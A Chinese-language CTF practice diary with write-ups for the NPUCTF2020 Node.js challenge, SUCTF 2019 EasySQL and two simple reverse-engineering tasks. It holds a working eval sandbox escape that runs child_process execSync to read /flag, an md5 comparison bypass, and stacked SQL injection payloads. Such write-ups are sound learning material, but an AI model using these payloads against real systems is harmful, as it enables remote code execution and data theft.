CTF打卡~Day11
[NPUCTF2020]验证🐎
这题似乎是Node.js的,完全是陌生领域,全程都是被大佬wp拖着走的....惭愧
https://www.plasf.cn/2020/04/25/Node%E4%B8%93%E9%A2%98%E8%AE%AD%E7%BB%83-1/
这里就把几个比较重要的地方点以下吧,具体的原理还是看链接的好。
首先这个抽象带师出题人直接把源码放出来了,可还行
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
结合源码可知e对应的是算式,first和second分别对应 验证🐎1 和2
审计关键代码可知验证🐎两者要不相等(!==)且加上一个字符串以后的md5值要相等(===)。

这里应该算是JS的比较漏洞了。当一个数组加上一个字符串的时候返回的就是字符串。因此只需要将a,b的值一个设置为数组就行了。
这里其实还有一个坑,因为普通的wwwform格式似乎不能设定上传的0究竟是字符串还是数字,因此上传上去似乎都会被当成数字处理。这里就需要将content-type改成application/json然后以json的格式上传数据。
下一步就是绕过这个saferEval()的正则了
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
感觉我的正则表达式好菜...
看了下大佬的博客,这个正则说明只能嵌套Math而且Math只能用一个点,也就是只能用一层属性。
而Math.constructor.constructor相当于创建一个function 我们可以利用这个来获取我们想要的文件。
在Node中,执行系统命令的代码是process.mainModule.require('child_process').execSync() 我们就用这个函数来cat /flag
至于打包成math的操作就实在超出我的理解范围了QAQ毕竟对Node一窍不通QAQ,这里就先留着了,等到后面方便取用代码了。
POC
import re
encode = lambda code: list(map(ord,code))
#decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
m0=m0.constructor,
m0.x=m0.constructor(
m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
)()
))(Math+1)
"""
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)
最终构造出来是这样的
(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)

后面还是得好好学习以下Node和正则表达式。
[SUCTF 2019]EasySQL
这题就NMD离谱
这个框内过滤了一堆的关键字符,例如order,union,where等等等都不行
但是发现似乎可以堆叠注入,例如1,database(),1和1;select database();select 1 可以得到回显

但是这个输入框有长度限制,似乎不能用set语法的这种方式来执行命令,会报错Too Long
后面去看了wp就发现这题真的就是离谱
这题的后台构造据泄露是
select $_POST[query] || flag from flag
然后就需要用一个 set sql_mode=pipes_as_concat 将||符号转变成拼接就行了...
这个是预期的payload: 1;set sql_mode=pipes_as_concat;select 1
实际上,如果知道这个逻辑,还有一个很离谱的解(应该是一个非预期解)是*,1
这样拼凑出来的语句是(这里的||还是或的意思)
select *,1 || flag from flag
然后flag还是能爆出来

buuoj CTF easyre reverse_1&2
完了完了,今晚本来想挑点简单点的题目写写的,结果都是水题....嗐
easyre属于直接开IDA送flag的...懒得写了
reverse_1开局似乎略复杂,但是直接搜String flag就可以定位到提示输入flag的位置,再反向查找引用就行了。里面就是一个对源字符串里的搜索和替换,直接看注释吧。reverse_2也差不多,不展开介绍了。
reverse_1
for ( j = 0; ; ++j )
{
v8 = j;
v2 = j_strlen(Str2); // {hello_world}
if ( v8 > v2 )
break;
if ( Str2[j] == 111 ) //Replace o with 0
Str2[j] = 48;
}
sub_7FF70FA611D1("input the flag:");
sub_7FF70FA6128F("%20s", &Str1);
v3 = j_strlen(Str2);
if ( !strncmp(&Str1, Str2, v3) )
sub_7FF70FA611D1("this is the right flag!\n");
else
sub_7FF70FA611D1("wrong flag\n");
sub_7FF70FA6113B(&v5, &unk_7FF70FA69D00);
return 0i64;
reverse_2
else
{
for ( i = 0; i <= strlen(&flag); ++i ) // flag= {hacking_for_fun}
{
if ( *(&flag + i) == 105 || *(&flag + i) == 114 )// Replace i and r with 1
*(&flag + i) = 49;
}
}
printf("input the flag:", argv);
__isoc99_scanf("%20s", &s2);
if ( !strcmp(&flag, &s2) )
result = puts("this is the right flag!");
else
result = puts("wrong flag!");
return result;